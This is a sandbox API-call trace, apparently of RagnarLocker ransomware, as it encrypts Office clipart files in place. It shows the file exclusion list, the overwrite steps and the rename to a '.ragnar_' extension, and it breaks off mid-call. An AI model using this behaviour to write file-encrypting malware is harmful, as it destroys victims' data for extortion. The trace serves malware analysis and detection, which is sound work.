SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.516] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0091.516] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x5d0, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x5d0, lpOverlapped=0x0) returned 1 [0091.516] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0091.516] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x5d0, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.516] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x5d0, lpOverlapped=0x0) returned 1 [0091.516] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x5d0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.516] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0091.517] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x5d0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.517] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.517] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.517] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.517] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0091.517] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.517] GetProcessHeap () returned 0x580000 [0091.517] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0091.517] CloseHandle (hObject=0xf4) returned 1 [0091.517] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00671_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00671_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00671_.WMF" [0091.517] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00671_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00671_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00671_.WMF.ragnar_FD7BD9FC" [0091.517] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00671_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00671_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00671_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00671_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0091.518] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f14c400, ftCreationTime.dwHighDateTime=0x1bd4b0c, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7f14c400, ftLastWriteTime.dwHighDateTime=0x1bd4b0c, nFileSizeHigh=0x0, nFileSizeLow=0x62b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00683_.WMF", cAlternateFileName="")) returned 1 [0091.518] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0091.518] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SO00683_.WMF" | out: lpString1="SO00683_.WMF") returned="SO00683_.WMF" [0091.518] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00683_.WMF") returned=".WMF" [0091.518] lstrcmpiW (lpString1="SO00683_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0091.518] lstrcmpiW (lpString1="SO00683_.WMF", lpString2="autorun.inf") returned 1 [0091.518] lstrcmpiW (lpString1="SO00683_.WMF", lpString2="boot.ini") returned 1 [0091.518] lstrcmpiW (lpString1="SO00683_.WMF", lpString2="bootfont.bin") returned 1 [0091.518] lstrcmpiW (lpString1="SO00683_.WMF", lpString2="bootsect.bak") returned 1 [0091.518] lstrcmpiW (lpString1="SO00683_.WMF", lpString2="bootmgr") returned 1 [0091.518] lstrcmpiW (lpString1="SO00683_.WMF", lpString2="bootmgr.efi") returned 1 [0091.518] lstrcmpiW (lpString1="SO00683_.WMF", lpString2="bootmgfw.efi") returned 1 [0091.518] lstrcmpiW (lpString1="SO00683_.WMF", lpString2="desktop.ini") returned 1 [0091.518] lstrcmpiW (lpString1="SO00683_.WMF", lpString2="iconcache.db") returned 1 [0091.518] lstrcmpiW (lpString1="SO00683_.WMF", lpString2="ntldr") returned 1 [0091.518] lstrcmpiW (lpString1="SO00683_.WMF", lpString2="ntuser.dat") returned 1 [0091.518] lstrcmpiW (lpString1="SO00683_.WMF", lpString2="ntuser.dat.log") returned 1 [0091.518] lstrcmpiW (lpString1="SO00683_.WMF", lpString2="ntuser.ini") returned 1 [0091.518] lstrcmpiW (lpString1="SO00683_.WMF", lpString2="thumbs.db") returned -1 [0091.518] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0091.518] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0091.518] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0091.519] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0091.519] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0091.519] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0091.519] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0091.519] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00683_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00683_.wmf")) returned 0x20 [0091.519] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00683_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00683_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0091.520] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=25270) returned 1 [0091.520] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x62ad, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.520] GetProcessHeap () returned 0x580000 [0091.520] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0091.520] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0091.521] VirtualAlloc (lpAddress=0x0, dwSize=0x62b6, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0091.521] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.521] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0091.521] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x62b6, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x62b6, lpOverlapped=0x0) returned 1 [0091.522] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0091.522] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x62b6, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.523] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x62b6, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x62b6, lpOverlapped=0x0) returned 1 [0091.523] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x62b6, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.523] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0091.523] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x62b6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.523] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.523] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.523] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.523] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0091.523] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.523] GetProcessHeap () returned 0x580000 [0091.523] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0091.523] CloseHandle (hObject=0xf4) returned 1 [0091.524] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00683_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00683_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00683_.WMF" [0091.524] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00683_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00683_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00683_.WMF.ragnar_FD7BD9FC" [0091.524] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00683_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00683_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00683_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00683_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0091.524] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6302, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00694_.WMF", cAlternateFileName="")) returned 1 [0091.524] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0091.524] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SO00694_.WMF" | out: lpString1="SO00694_.WMF") returned="SO00694_.WMF" [0091.524] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00694_.WMF") returned=".WMF" [0091.524] lstrcmpiW (lpString1="SO00694_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0091.524] lstrcmpiW (lpString1="SO00694_.WMF", lpString2="autorun.inf") returned 1 [0091.525] lstrcmpiW (lpString1="SO00694_.WMF", lpString2="boot.ini") returned 1 [0091.525] lstrcmpiW (lpString1="SO00694_.WMF", lpString2="bootfont.bin") returned 1 [0091.525] lstrcmpiW (lpString1="SO00694_.WMF", lpString2="bootsect.bak") returned 1 [0091.525] lstrcmpiW (lpString1="SO00694_.WMF", lpString2="bootmgr") returned 1 [0091.525] lstrcmpiW (lpString1="SO00694_.WMF", lpString2="bootmgr.efi") returned 1 [0091.525] lstrcmpiW (lpString1="SO00694_.WMF", lpString2="bootmgfw.efi") returned 1 [0091.525] lstrcmpiW (lpString1="SO00694_.WMF", lpString2="desktop.ini") returned 1 [0091.525] lstrcmpiW (lpString1="SO00694_.WMF", lpString2="iconcache.db") returned 1 [0091.525] lstrcmpiW (lpString1="SO00694_.WMF", lpString2="ntldr") returned 1 [0091.525] lstrcmpiW (lpString1="SO00694_.WMF", lpString2="ntuser.dat") returned 1 [0091.525] lstrcmpiW (lpString1="SO00694_.WMF", lpString2="ntuser.dat.log") returned 1 [0091.525] lstrcmpiW (lpString1="SO00694_.WMF", lpString2="ntuser.ini") returned 1 [0091.525] lstrcmpiW (lpString1="SO00694_.WMF", lpString2="thumbs.db") returned -1 [0091.525] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0091.525] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0091.525] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0091.525] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0091.525] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0091.525] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0091.525] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0091.525] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00694_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00694_.wmf")) returned 0x20 [0091.526] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00694_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00694_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0091.526] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=25346) returned 1 [0091.526] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x62f9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.526] GetProcessHeap () returned 0x580000 [0091.526] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0091.526] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0091.528] VirtualAlloc (lpAddress=0x0, dwSize=0x6302, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0091.528] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.528] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0091.528] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x6302, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x6302, lpOverlapped=0x0) returned 1 [0091.529] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0091.529] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x6302, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.529] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x6302, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x6302, lpOverlapped=0x0) returned 1 [0091.530] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x6302, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.530] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0091.530] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x6302, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.530] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.530] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.530] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.530] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0091.530] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.530] GetProcessHeap () returned 0x580000 [0091.530] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0091.530] CloseHandle (hObject=0xf4) returned 1 [0091.530] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00694_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00694_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00694_.WMF" [0091.530] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00694_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00694_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00694_.WMF.ragnar_FD7BD9FC" [0091.530] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00694_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00694_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00694_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00694_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0091.531] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3636, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00704_.WMF", cAlternateFileName="")) returned 1 [0091.531] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0091.531] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SO00704_.WMF" | out: lpString1="SO00704_.WMF") returned="SO00704_.WMF" [0091.531] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00704_.WMF") returned=".WMF" [0091.531] lstrcmpiW (lpString1="SO00704_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0091.531] lstrcmpiW (lpString1="SO00704_.WMF", lpString2="autorun.inf") returned 1 [0091.531] lstrcmpiW (lpString1="SO00704_.WMF", lpString2="boot.ini") returned 1 [0091.531] lstrcmpiW (lpString1="SO00704_.WMF", lpString2="bootfont.bin") returned 1 [0091.531] lstrcmpiW (lpString1="SO00704_.WMF", lpString2="bootsect.bak") returned 1 [0091.531] lstrcmpiW (lpString1="SO00704_.WMF", lpString2="bootmgr") returned 1 [0091.531] lstrcmpiW (lpString1="SO00704_.WMF", lpString2="bootmgr.efi") returned 1 [0091.531] lstrcmpiW (lpString1="SO00704_.WMF", lpString2="bootmgfw.efi") returned 1 [0091.531] lstrcmpiW (lpString1="SO00704_.WMF", lpString2="desktop.ini") returned 1 [0091.531] lstrcmpiW (lpString1="SO00704_.WMF", lpString2="iconcache.db") returned 1 [0091.532] lstrcmpiW (lpString1="SO00704_.WMF", lpString2="ntldr") returned 1 [0091.532] lstrcmpiW (lpString1="SO00704_.WMF", lpString2="ntuser.dat") returned 1 [0091.532] lstrcmpiW (lpString1="SO00704_.WMF", lpString2="ntuser.dat.log") returned 1 [0091.532] lstrcmpiW (lpString1="SO00704_.WMF", lpString2="ntuser.ini") returned 1 [0091.532] lstrcmpiW (lpString1="SO00704_.WMF", lpString2="thumbs.db") returned -1 [0091.532] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0091.532] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0091.532] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0091.532] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0091.532] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0091.532] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0091.532] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0091.532] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00704_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00704_.wmf")) returned 0x20 [0091.532] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00704_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00704_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0091.532] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=13878) returned 1 [0091.532] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x362d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.532] GetProcessHeap () returned 0x580000 [0091.532] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0091.532] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0091.534] VirtualAlloc (lpAddress=0x0, dwSize=0x3636, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0091.534] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.534] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0091.534] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3636, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x3636, lpOverlapped=0x0) returned 1 [0091.535] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0091.535] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3636, 